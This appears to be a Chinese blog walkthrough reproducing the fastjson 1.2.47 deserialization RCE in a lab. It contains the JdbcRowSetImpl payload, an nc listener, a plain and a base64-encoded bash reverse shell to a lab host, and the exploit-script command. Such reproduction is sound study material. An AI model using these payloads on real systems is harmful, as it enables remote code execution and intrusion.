1. 程式人生 > 實用技巧 >fastjson漏洞復現

fastjson漏洞復現

漏洞產生原因

fastjson提供了autotype功能,在請求過程中,我們可以在請求包中通過修改@type的值,來反序列化為指定的型別,而fastjson在反序列化過程中會設定和獲取類中的屬性,如果類中存在惡意方法,就會導致程式碼執行漏洞產生。

檢視fastjson漏洞利用工具的pyload

payload = """
    {
        "a": {
            "@type": "java.lang.Class", 
            "val": "com.sun.rowset.JdbcRowSetImpl"
        }, 
        "b": {
            
"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "%s", "autoCommit": true } }

漏洞環境

漏洞主機 kali2020 ip地址:192.168.177.137

接收反彈shell主機 kali2018 ip地址:192.168.177.128

執行惡意Java類的主機和含有RMI服務主機 win10物理主機 ip地址:192.168.177.1

kali2020使用docker搭建fastjson1.2.47漏洞環境

漏洞復現

工具下載

https://github.com/zhzyker/exphub/tree/master/

kali 2018 監聽埠

nc -lvp 8888

物理機執行RMI服務,載入惡意java類

bash -i >& /dev/tcp/192.168.177.128/8888 0>&1 //轉換成可執行程式碼
java -cp fastjson_tool.jar fastjson.HRMIServer 192.168.177.1 9999 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Ny4xMjgvODg4OCAwPiYx}|{base64,-d}|{bash,-i}

傳送反序列化程式碼漏洞執行命令

python3 fastjson-1.2.47_rce.py http://192.168.177.137:8090 rmi://192.168.177.1:9999/Object

無法反彈shell

檢視埠監聽情況,反彈shell,都不成功的,在肉雞上直接執行命令,kali2018直接獲取shell:

sudo bash -i >& /dev/tcp/192.168.177.128/8888 0>&1

檢視程式碼發現載入惡意java類時base64編碼時源地址寫錯了,導致程式碼執行不出去!!!

修改完以後還是不行,進行web訪問fastjson地址發現訪問不了(kali顯示已啟動),進行fastjson環境重啟,再次訪問web沒有問題

再次執行上面命令,成功反彈shell

漏洞修復

升級最新版本,具體參見漏洞修復

參考連結

https://www.cnblogs.com/renhaoblog/p/13033723.html

https://www.freebuf.com/vuls/178012.html

免責宣告

嚴禁讀者利用以上介紹知識點對網站進行非法操作 , 本文僅用於技術交流和學習 , 如果您利用文章中介紹的知識對他人造成損失 , 後果由您自行承擔 , 如果您不能同意該約定 , 請您務必不要閱讀該文章 , 感謝您的配合 !